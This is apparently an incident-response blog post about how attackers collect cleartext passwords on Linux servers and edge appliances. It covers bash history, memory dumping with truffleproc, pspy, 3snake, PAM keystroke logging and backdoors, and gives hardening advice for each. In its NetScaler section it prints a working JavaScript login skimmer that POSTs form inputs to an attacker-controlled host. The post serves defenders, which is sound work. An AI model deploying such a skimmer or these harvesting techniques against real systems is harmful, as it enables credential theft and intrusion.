1. Introduction

During Digital Forensics and Incident Response (DFIR) investigations, we frequently observe Threat Actors (TAs) using various methods to harvest clear-text credentials on Linux endpoints. While defense teams focus heavily on Windows credential dumping (like LSASS parsing), Linux infrastructure remains a fertile ground for credential theft.

In many discussions with clients and security experts, the question often arises: If an attacker has already gained root privileges on a Linux server, why is it still relevant to collect additional plaintext passwords? The answer comes down to lateral movement and privilege escalation beyond the local host. Compromised Linux servers are often gateways; collecting passwords there can unlock the wider network, cross-platform infrastructure, and cloud environments.

This post highlights common techniques and artifacts encountered in real-world incidents, mapping out exactly where plaintext credentials leak and how adversaries systematically collect them. In addition, it covers hardened Linux appliances and discusses how credentials may still be exposed despite security controls. By understanding these potential exposure points, defenders or administrators can implement effective hardening strategies, credential protection mechanisms, and monitoring controls to minimize risk and improve security on those devices.

Note: This blog post includes excerpts from our “Cleartext” presentation at BSides Munich and my BotConf presentation on “Lost Signatures." You find the links to the presentations in the talks section.

2. Bash History

A classic. If you are shrugging right now and thinking, “How obvious,” I have a story for you.

In a recent incident investigation (we took over from another company), a Threat Actor hid inside a targeted network for months, stealthily moving around to steal confidential research material. They found out that the attackers had targeted an application server running Siemens software.

This software used a password-protected Java Keystore located at /opt/siemens/scs_groupware/conf/keystore.jks. The password to that keystore was sitting in clear-text inside the root user’s Bash history: keytool -importkeystore -srckeystore /opt/siemens/scs_groupware/conf/groupware.jks -storepass cleartext_password

A backup copy of the target keystore was subsequently discovered in /root/keystore.jks. The Siemens software also included a feature for reading emails in Exchange Online (via OpenScape integration), providing direct access to the customer’s Azure tenant. The attacker extracted the private key and certificate from the keystore; now they only needed the customer’s Tenant ID and the OpenScape app client ID.

Both values were cleanly laid out in the OpenScape XML config file:

<Property name="exchange.auth.oauth.tenantId" value="<redacted>" writable="true"/>
<Property name="exchange.auth.oauth.clientId" value="<redacted>" writable="true"/>

This discovery allowed the TA to leverage the client credentials flow with certificate-based authentication on login.microsoftonline.com and use the Microsoft Graph API to read corporate emails. This scenario clearly illustrates how a single plaintext password in the Bash history can compromise an entire organization’s cloud email environment.

Defense & Hardening

• Never pass passwords via command-line arguments. Use interactive prompts or retrieve them dynamically via secrets managers such as HashiCorp Vault.
• While passing secrets via environment variables is better than CLI arguments (since they aren’t written to .bash_history), be aware that root users, or the user owning the process, can still read them from /proc/<pid>/environ while the process is running.
• Set HISTCONTROL=ignorespace in user profiles. This allows administrators to prepend a space to any command containing a secret, preventing it from being logged to the history file.
• Implement Microsoft Entra Conditional Access for Workload Identities to protect service principals and restrict certificate-based authentication to trusted locations.

An attacker with root privileges can extract clear-text credentials directly from processing memory maps. Tools like truffleproc automate this behavior by attaching to running processes via GDB, creating memory dumps, and scanning them for strings matching pattern signatures.

In the following example, an attacker dumps the current process, and truffleproc subsequently sifts through the resulting dump for strings that might be credentials or passwords. As a prerequisite, GDB must be installed on the compromised server.

root@passwords:~/truffleproc# ./truffleproc.sh $$
# coredumping pid 20124
Reading symbols from od...
Reading symbols from /usr/bin/bash...
Reading symbols from /lib/x86_64-linux-gnu/libtinfo.so.6...
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/ae/7440bbdce614e0e79280c3b2e45b1df44e639c.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/20/5841581372e951d18b59e0d3b24c16d2291fef.debug...
# extracting strings to /tmp/tmp.6BkVH3F1TT
# finding secrets
# results in /tmp/tmp.6BkVH3F1TT/results.txt

Defense & Hardening

• Tools like truffleproc rely on ptrace to dump memory. You can restrict this system-wide by editing /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 1 (or 2 for stricter admin-only access, or 3 to disable it completely until next reboot).

4. Process Command-Line Snooping

If an attacker lacks immediate root privileges but wants to harvest secrets passed via commands, they often turn to pspy. This command-line utility snoops on executing processes without requiring root access by reading process events directly via the inotify API. It is incredibly effective for capturing automation flags, cron job executions, and plain-text keys passed as runtime parameters.

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea.

My colleague, Asger Strunk, and I gave a presentation at BSides Munich, discussing at length how awesome /proc is. You might want to watch our talk.

Defense & Hardening

• Again, never pass passwords via command-line arguments.

5. Backdoor Login Prompt

We investigated a compromised network where the EDR detected lateral movement from two different administrator accounts deep within the network, without triggering a single alert. Magic? ✨ Not quite.

The adversary had backdoored the external Citrix NetScaler (ADC/Gateway) authentication portal to intercept and exfiltrate user credentials at the point of entry. This allowed the attacker to bypass traditional password theft techniques and leverage valid user accounts for persistent access to the environment. The script intercepted the submission flow, posted the clear-text parameters to an attacker-controlled endpoint, and seamlessly submitted the original form so the user experienced no delay:

Here is the relevant snippet:

function sendForm() {
    let data = ""
    for(entry of document.getElementById('vpnForm').getElementsByTagName("input")) {
        data += entry.value + ","
    }

    fetch('https://jscloud.live/items/accounts', {
      method: 'POST',
      headers: {
        'Accept': 'application/json, text/plain, */*',
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({server:window.location.host,data:data})
    }).then(res => {
                document.getElementById('Log_On').removeAttribute('onClick')
                document.getElementById('Log_On').setAttribute('type','submit')
                setTimeout(()=>{document.getElementById('Log_On').click()}, 1000);
        })

Similar real-world inline credential-interception logic has been comprehensively detailed in vendor analyses, such as Volexity’s report on the widespread exploitation of edge devices.

Defense & Hardening

• Patch edge appliances aggressively: Internet-facing VPN, ADC, SSO, and reverse-proxy systems should be treated like Tier-0 assets. Prioritize emergency patching and active compromise checks after public exploitation.
• In many security incidents where edge devices or internet-facing web services were hacked, a simple vulnerability scanner could have identified the vulnerability, or even detected that a service was running on the IP address within the perimeter. Failing to employ perimeter vulnerability scanning represents a significant, yet easily avoidable, blind spot.

6. ssh-grabber / 3snake

The malicious actor used a modified open-source 3snake utility to obtain credentials on hosts running Linux. To reduce excess functionality and evade signature detection, the command-line start option was disabled in the utility, which left just demon mode. [..]

It also adds intercept_openldap to the already-available intercept_ssh, intercept_sudo, intercept_su, intercept_ssh_client, and intercept_passwd functions. This is how the malicious actor stole a number of credentials for further movement across the network.

Source: ptsecurity.com

Often, malicious actors use modified open-source tools like 3snake to obtain credentials. Targeting rooted servers, 3snake reads memory from sshd and sudo system calls that handle password-based authentication.

It listens for proc events using netlink sockets to get candidate processes to trace. When it receives an sshd or sudo process, it attaches via ptrace and traces read and write system calls, extracting strings related to password authentication.

Defending against this is notoriously difficult once an attacker has root. If they have root, they could just as easily replace sshd with a modified binary or hook into sshd with LD_PRELOAD to dump passwords.

Following a test run in our lab:

From a discussion on Reddit:

Defending against this is a bit of a lost cause. If the attacker already has root, there are plenty of other attacks they can use to get the same result. Replace sshd with a modified one that dumps the results, grab the private keys and do a MITM, hook into sshd with ld_preload and dump the passwords out of memory, maybe even patch kernel memory to reenable ptrace. Better to just defend against obtaining root in the first place and use keys instead of passwords.

Defense & Hardening

• You cannot alert on all ptrace activity, but you absolutely should alert on ptrace attaching to critical authentication binaries. Create an EDR/auditd rule that triggers if a process initiates a PTRACE_ATTACH against sshd, sudo, su, or passwd (unless the process is a whitelisted administrative tool).
• 3snake spawns a new child process for every sshd and sudo command it traces. Look for unrecognized binaries spawning multiple child processes that quickly attach to authentication daemons.
• The ultimate defense against sshd password interception is disabling password authentication entirely. Enforce SSH key-based authentication (PasswordAuthentication no in sshd_config) combined with Certificate Authorities or SSO/SAML integrations.

7. Terminal Input Capture on Linux with pam.d

The Pluggable Authentication Modules (PAM) framework remains a primary persistence target for covert network access. Because PAM orchestrates system-wide authentication policy execution for services like sshd, su, and sudo, placing a modified or backdoored library allows threat actors to capture clear-text credentials easily.

However, attackers don’t always need custom malware. They often abuse native Linux auditing tools, specifically pam_tty_audit.so. This module logs all keystrokes for selected users and sends them to audit.log, as pointed out here in the Red Hat documentation:

After enabling PAM for Auditing, all keystrokes (i.e., commands and passwords) are stored within the audit data (see Figure 5 below).

Which, coming back to our example from the keystore, could be used to steal the plaintext credential:

However, this is by far not the only thing you can do with PAM modules. Recent incident analysis reports from AhnLab and Nextron Systems detail how threat actors use highly compact, stealthy source files (often under 100 lines of code) to compile custom PAM modules. These backdoors can record legitimate passwords to hidden text files while simultaneously accepting hardcoded master credentials, giving the adversary persistent access without creating abnormal log signatures.

Further reading:

• Detecting Malware Exploiting Linux PAM through AhnLab EDR - ASEC
• Stealth in 100 Lines: Analyzing PAM Backdoors in Linux - Nextron Systems
• Understanding Credential Harvesting via PAM: A Real-World Threat | Group-IB Blog
• Post Exploitation: Sniffing Logon Passwords with PAM - Embrace The Red
• An introduction to Pluggable Authentication Modules (PAM) in Linux - Red Hat
• Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms — Elastic Security Labs

Defense & Hardening

• Implement File Integrity Monitoring (FIM) to monitor /etc/pam.d/ and the directory where PAM shared objects are stored. Any modification or addition of a .so file should trigger a high-priority alert.

8. Conclusion

While Windows credential dumping (such as LSASS manipulation) typically dominates SOC detection engineering pipelines, the operational reality is that Linux infrastructure often provides a path of least resistance for lateral movement. As the incidents detailed in this post illustrate, adversaries do not view compromised Linux servers as the final objective. Instead, they treat them as transit hubs, leveraging them to harvest the clear-text secrets necessary to pivot into cloud tenants, cross-platform networks, and tier-0 infrastructure.

The techniques used to extract these credentials exploit the fundamental ways Linux handles processes, memory, and authentication. Whether it is abusing native OS primitives to scrape memory via ptrace, passively monitoring command-line execution, or deploying inline backdoors within the PAM stack and edge web applications, the collection mechanisms are highly resilient and naturally evade standard signature-based detection.